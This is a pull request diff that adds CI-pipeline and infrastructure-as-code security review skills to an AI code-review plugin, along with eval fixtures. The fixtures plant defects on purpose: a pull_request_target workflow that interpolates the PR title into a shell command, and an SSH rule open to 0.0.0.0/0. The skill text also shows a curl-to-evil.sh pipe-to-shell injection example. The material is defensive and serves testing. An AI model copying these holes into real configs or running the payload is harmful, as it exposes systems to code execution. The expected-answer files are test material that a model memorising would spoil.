Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion .claude-plugin/marketplace.json
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@
{
"name": "skilldeck",
"source": "./claude-plugin",
"description": "Security and code-review skills for Claude Code: code-smells, dependency-review, logging, migration-review, resilience-review, security-review, test-review"
"description": "Security and code-review skills for Claude Code: ci-workflow-review, code-smells, dependency-review, iac-review, logging, migration-review, resilience-review, security-review, test-review"
}
]
}
13 changes: 13 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -15,6 +15,19 @@ All notable changes to this project are documented here. The format is based on

### Added

- `ci-workflow-review` skill (0.1.0) — reviews CI/CD pipeline changes for
injection and poisoned pipeline execution (untrusted `github.event`
interpolation, `pull_request_target` + head checkout), credential and token
scope, unpinned third-party steps, artifact/cache integrity, and runner
exposure. Classified against the OWASP Top 10 CI/CD Security Risks
(CICD-SEC-1–10) with patterns from GitHub's Actions hardening guide. Ships
with an eval fixture (fork-triggerable title injection).
- `iac-review` skill (0.1.0) — reviews infrastructure-as-code changes
(Terraform, CloudFormation, Kubernetes/Helm, Dockerfiles) for network
exposure, wildcard IAM, secrets in code/state, missing encryption, container
hardening per the Kubernetes Pod Security Standards and the OWASP Docker
cheat sheet, and stateful-resource change safety; anchored to CIS benchmark
baselines. Ships with an eval fixture (security group open to the world).
- Golden-diff eval harness (`evals/`) (#32): seven fixtures — one per skill —
each a tiny repo whose diff contains a planted defect (IDOR, non-concurrent
index, assertion-free test, missing timeout, token in a log, git-fork
Expand Down
2 changes: 1 addition & 1 deletion claude-plugin/.claude-plugin/plugin.json
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
{
"name": "skilldeck",
"version": "0.3.0",
"description": "Security and code-review skills for Claude Code: code-smells, dependency-review, logging, migration-review, resilience-review, security-review, test-review",
"description": "Security and code-review skills for Claude Code: ci-workflow-review, code-smells, dependency-review, iac-review, logging, migration-review, resilience-review, security-review, test-review",
"author": {
"name": "Richard Hope",
"url": "https://github.com/IcebergAI/skilldeck"
Expand Down
131 changes: 131 additions & 0 deletions claude-plugin/skills/ci-workflow-review/SKILL.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,131 @@
---
name: ci-workflow-review
description: Review CI/CD pipeline changes for injection, credential exposure, and
supply-chain risk, aligned to the OWASP Top 10 CI/CD Security Risks.
---

# CI Workflow Review

Review the **pending changes on the current branch** that touch CI/CD pipeline
configuration — GitHub Actions workflows, GitLab CI, Jenkins, and similar — for
the ways a pipeline can be hijacked or made to leak credentials. Findings are
classified against the
[OWASP Top 10 CI/CD Security Risks](https://owasp.org/www-project-top-10-ci-cd-security-risks/)
(CICD-SEC-1–10), with concrete patterns drawn from GitHub's
[security hardening for GitHub Actions](https://docs.github.com/en/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions)
guidance; the patterns generalize to other CI systems. Pair with
`dependency-review` for the packages a build installs and `security-review`
for application code.

Pipeline config is code that runs with credentials. Treat every value an
outside contributor can influence — PR titles and bodies, branch names, commit
messages, author names, issue text — as attacker-controlled input that must
never reach a shell or a privileged context unquoted. Exploitability hinges on
**who can trigger the workflow** and **what the job can reach**: establish
both before judging severity.

## Scope

1. Determine the diff: `git diff <base>...HEAD` (default base: `main`/`master`),
plus any uncommitted or untracked changes. If you are already on the base
branch, review the uncommitted changes instead.
2. Focus on pipeline files: `.github/workflows/*`, action definitions
(`action.yml`), reusable workflows, `.gitlab-ci.yml`, `Jenkinsfile`,
`azure-pipelines.yml`, `.circleci/`, Buildkite/Tekton configs.
3. Read the whole workflow around each hunk, not just the diff — triggers,
`permissions`, and secrets interact across the file, and a guard may sit
outside the changed lines.
4. For each changed job, establish the trigger surface: can a fork PR, an
issue event, or an unauthenticated actor cause it to run, and with which
token and secrets?

## What to look for (by CICD-SEC category)

### Poisoned pipeline execution & injection (CICD-SEC-4, CICD-SEC-1)

- **Untrusted interpolation into scripts** — expressions such as
`${{ github.event.pull_request.title }}`, `.body`, branch names, commit
messages, or author names expanded inside `run:` — attacker-controlled text
becomes shell. Route the value through `env:` and reference it quoted
(`"$TITLE"`), or pass it as an action argument.
- **Privileged trigger + untrusted code** — `pull_request_target` or
`workflow_run` combined with a checkout of the PR head
(`ref: github.event.pull_request.head.sha`) runs attacker code with secrets
and a write token.
- Executing files an outside contributor can modify (build scripts, Makefiles,
`package.json` lifecycle hooks) inside a privileged job.
- Deploy or release jobs newly reachable without a required review,
environment protection rule, or branch gate (insufficient flow control).

### Credential hygiene & token scope (CICD-SEC-6, CICD-SEC-5, CICD-SEC-2)

- Missing or broadened `permissions:` — the workflow inherits a broad default
`GITHUB_TOKEN`; set `permissions: contents: read` at the top and raise
per-job only as needed.
- Secrets in plaintext in the pipeline file; secrets passed as command-line
arguments (visible in logs and process lists); derived/transformed secrets
that will not be masked; a whole JSON credential blob where one field is
needed.
- Secrets or privileged runners newly exposed to jobs that fork PRs can
trigger.
- Long-lived cloud keys stored as secrets where short-lived OIDC federation
is available.

### Third-party steps (CICD-SEC-3, CICD-SEC-8)

- Actions, orbs, or plugins referenced by **mutable tag or branch**
(`uses: some/action@v3`, `@main`) instead of a full commit SHA — the only
immutable reference; a compromised action sees every secret its job gets.
- New third-party steps or reusable workflows from outside the org with no
provenance check.

### Artifacts, caches & runners (CICD-SEC-9, CICD-SEC-7)

- Artifacts produced by an untrusted workflow run consumed by a privileged
job without validation; caches writable from fork PRs feeding privileged
builds (cache poisoning).
- Self-hosted runners exposed to public-repo or fork-PR workloads; secrets
and credentials resident on the runner image.
- `continue-on-error:` added to a security check; debug flags that echo
secrets or environment into logs (also CICD-SEC-10).

## Output

Report each finding as a single list item:

- **[severity] CICD-SEC category** — `file:line`
**Issue:** who can trigger it, what they control, and what they gain.
**Fix:** the concrete change (quote via `env:`, drop the privileged trigger,
pin the SHA, scope `permissions:`).

`severity` reflects who can trigger it and what they get: **critical** — an
outside contributor can run code with secrets or a write token (script
injection in a fork-triggerable workflow, `pull_request_target` + head
checkout); **high** — broad token or secret exposure, or an unpinned
third-party step inside a privileged job; **medium** — hardening gaps
exploitable only by collaborators; **low** — hygiene. The classifier is the
CICD-SEC category (e.g. `CICD-SEC-4 Poisoned Pipeline Execution`). Order
findings by severity, highest first, keeping one issue per finding.
For example:

- **[critical] CICD-SEC-4 Poisoned Pipeline Execution** — `.github/workflows/greet.yml:14`
**Issue:** `run: echo "Thanks for ${{ github.event.pull_request.title }}"`
expands the attacker-controlled PR title directly into bash in a workflow
fork PRs can trigger — a title like `"; curl https://evil.sh | sh` executes
arbitrary code with the job's token.
**Fix:** pass the title via `env:` (`TITLE: ${{ github.event.pull_request.title }}`)
and reference it quoted (`"$TITLE"`).

Verify before reporting: check the changed job's actual trigger and
`permissions` before calling something exploitable — the same interpolation is
critical under a fork-triggerable event and low in a manually dispatched
maintainer job — quote the offending line in the Issue, and drop anything
without a concrete attacker path. Prefer the few findings that matter; if more
than ~10 survive, report the ones worth a human's time and summarize the rest
in a line.

Open the report with one line stating what was reviewed and the outcome, e.g.
`Reviewed main..HEAD (2 workflows): 1 finding, critical.` If the diff touches
no pipeline configuration, say so rather than reviewing application code. If
the pipeline changes are sound, say so explicitly rather than manufacturing
findings.
134 changes: 134 additions & 0 deletions claude-plugin/skills/iac-review/SKILL.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,134 @@
---
name: iac-review
description: Review infrastructure-as-code changes for security misconfigurations,
aligned to CIS benchmark baselines and the Kubernetes Pod Security Standards.
---

# IaC Review

Review the **pending changes on the current branch** to infrastructure-as-code
— Terraform/OpenTofu, CloudFormation, Pulumi, Kubernetes manifests and Helm
charts, Dockerfiles and compose files — for misconfigurations that expose
infrastructure. The checklists follow the hardening baselines of the
[CIS Benchmarks](https://www.cisecurity.org/cis-benchmarks), the Kubernetes
[Pod Security Standards](https://kubernetes.io/docs/concepts/security/pod-security-standards/)
(baseline/restricted profiles), and the OWASP
[Docker Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html).
Pair with `ci-workflow-review` for the pipelines that apply this code and
`security-review` for the application itself.

Judge by blast radius and environment: a permissive rule in an isolated dev
sandbox is not a production exposure — but config has a habit of being copied
to prod, so say which assumption your severity rests on. Note the platform
where behavior differs (AWS/GCP/Azure defaults are not the same).

## Scope

1. Determine the diff: `git diff <base>...HEAD` (default base: `main`/`master`),
plus any uncommitted or untracked changes. If you are already on the base
branch, review the uncommitted changes instead.
2. Focus on infrastructure files: `*.tf`/`*.tfvars`, CloudFormation/CDK
templates, `k8s/`/`manifests/`/`charts/` YAML, `Dockerfile*`,
`docker-compose*`, Ansible playbooks, and the variables/values files that
feed them.
3. Read the whole resource around each hunk, not just the diff — a rule's
exposure depends on sibling attributes (the VPC it's in, the principal it
binds, the profile it inherits) that may sit outside the changed lines.
4. If the project already runs an IaC scanner (Checkov, tfsec/Trivy,
kube-score, conftest/OPA, kics), don't re-flag what it enforces; focus on
what it can't see (intent, environment, blast radius).

## What to look for (by category)

### Network exposure

- Security groups / firewall rules open to the world (`0.0.0.0/0`, `::/0`) —
worst on management and data ports (SSH 22, RDP 3389, database ports).
- Storage buckets or object containers made public (ACLs, policies, or
disabled public-access blocks); public IPs or public subnets for internal
services; load balancers or endpoints without TLS.
- Kubernetes: `hostNetwork`/`hostPort`, NodePort services where an ingress
belongs, overly broad NetworkPolicy (or none where the project uses them).

### Identity & access (least privilege)

- Wildcard IAM — `Action: "*"`, `Resource: "*"`, `Principal: "*"` — or
admin-equivalent managed policies attached to service roles.
- Kubernetes RBAC with wildcard verbs/resources, `cluster-admin` bindings for
workloads, service-account tokens automounted where unused.
- Cross-account/public sharing of images, snapshots, or key material.

### Secrets & state

- Credentials hardcoded in templates, variables, `user_data`/cloud-init, or
Dockerfile `ENV`/`ARG` (build args persist in image history); Kubernetes
`Secret` data committed in a plain manifest.
- Terraform state for shared infrastructure kept local or in an unencrypted,
unversioned backend — state contains every secret the resources do.
- Secrets passed as environment variables where the platform offers a secrets
manager or mounted secret.

### Data protection

- Encryption at rest disabled (or default keys where customer-managed keys
are the project norm); encryption in transit not enforced.
- Backups, versioning, deletion protection, or access logging disabled on
stateful or sensitive stores; public database snapshots.

### Containers & pods (PSS baseline/restricted)

- `privileged: true`; host namespaces (`hostNetwork`, `hostPID`, `hostIPC`)
or `hostPath` mounts; the Docker socket mounted into a container; added
Linux capabilities beyond the PSS safe list.
- Missing `runAsNonRoot`/`USER` (container runs as root),
`allowPrivilegeEscalation` not `false`, root filesystem not read-only where
it could be, seccomp/AppArmor defaults disabled.
- No CPU/memory limits (noisy-neighbor and DoS surface); mutable `:latest`
image tags; bloated base images where minimal ones fit.

### Change safety

- A rename or type change that forces **replacement of a stateful resource**
(database, volume, queue) hidden in an innocuous-looking diff.
- Deletion protection or `prevent_destroy` removed; lifecycle rules that
purge data earlier than intended.

## Output

Report each finding as a single list item:

- **[severity] misconfiguration kind** — `file:line`
**Issue:** what is exposed or weakened, to whom, and under which environment
assumption.
**Fix:** the concrete configuration change (restrict the CIDR, drop the
capability, scope the policy, move the secret).

`severity` reflects exposure and blast radius: **critical** — internet-facing
attack surface or leaked credential (a bucket or security group open to the
world on a sensitive port, a secret in code); **high** — a privilege-escalation
path or unencrypted/unprotected sensitive data; **medium** — a hardening
regression contained inside the cluster or network boundary; **low** —
hygiene. The classifier is the misconfiguration kind (e.g. `Open security
group`, `Wildcard IAM`, `Privileged container`, `Secret in code`). Order
findings by severity, highest first, keeping one issue per finding.
For example:

- **[critical] Open security group** — `infra/network.tf:23`
**Issue:** the new ingress rule allows `0.0.0.0/0` on port 22, exposing SSH
on every instance in the group to the internet; brute-force and scanner
traffic reach it immediately.
**Fix:** restrict the CIDR to the bastion/VPN range, or drop the rule and
use the cloud's session-manager access instead.

Verify before reporting: confirm the exposure is real in context — the
resource's siblings (VPC, public-access block, inherited profile) may already
contain it — quote the offending attribute in the Issue, and drop anything you
cannot tie to a concrete exposure. Prefer the few findings that matter; if
more than ~10 survive, report the ones worth a human's time and summarize the
rest in a line.

Open the report with one line stating what was reviewed and the outcome, e.g.
`Reviewed main..HEAD (3 files): 1 finding, critical.` If the diff touches no
infrastructure code, say so rather than reviewing application code. If the
infrastructure changes are sound, say so explicitly rather than manufacturing
findings.
14 changes: 14 additions & 0 deletions evals/fixtures/ci-workflow-review/base/.github/workflows/ci.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
name: CI

on:
pull_request:

permissions:
contents: read

jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
- run: make test
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
name: Greet

on:
pull_request_target:
types: [opened]

jobs:
greet:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- name: Thank the contributor
run: |
echo "Thanks for ${{ github.event.pull_request.title }}!"
./scripts/welcome.sh
5 changes: 5 additions & 0 deletions evals/fixtures/ci-workflow-review/expected.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
skill: ci-workflow-review
plants:
- file: .github/workflows/greet.yml
keywords: [injection, pull_request_target, untrusted]
max-findings: 5
12 changes: 12 additions & 0 deletions evals/fixtures/iac-review/base/infra/network.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
resource "aws_security_group" "app" {
name = "app"
vpc_id = var.vpc_id

ingress {
description = "app traffic from the load balancer"
from_port = 8080
to_port = 8080
protocol = "tcp"
security_groups = [var.lb_security_group_id]
}
}
20 changes: 20 additions & 0 deletions evals/fixtures/iac-review/change/infra/network.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
resource "aws_security_group" "app" {
name = "app"
vpc_id = var.vpc_id

ingress {
description = "app traffic from the load balancer"
from_port = 8080
to_port = 8080
protocol = "tcp"
security_groups = [var.lb_security_group_id]
}

ingress {
description = "ssh for debugging"
from_port = 22
to_port = 22
protocol = "tcp"
cidr_blocks = ["0.0.0.0/0"]
}
}
5 changes: 5 additions & 0 deletions evals/fixtures/iac-review/expected.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
skill: iac-review
plants:
- file: infra/network.tf
keywords: [0.0.0.0, internet, world]
max-findings: 4
10 changes: 10 additions & 0 deletions src/skilldeck/skills/ci-workflow-review/meta.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
name: ci-workflow-review
description: Review CI/CD pipeline changes for injection, credential exposure, and supply-chain risk, aligned to the OWASP Top 10 CI/CD Security Risks.
category: security
version: 0.1.0
supported-agents:
- claude
- codex
- copilot
- cursor
- kiro
Loading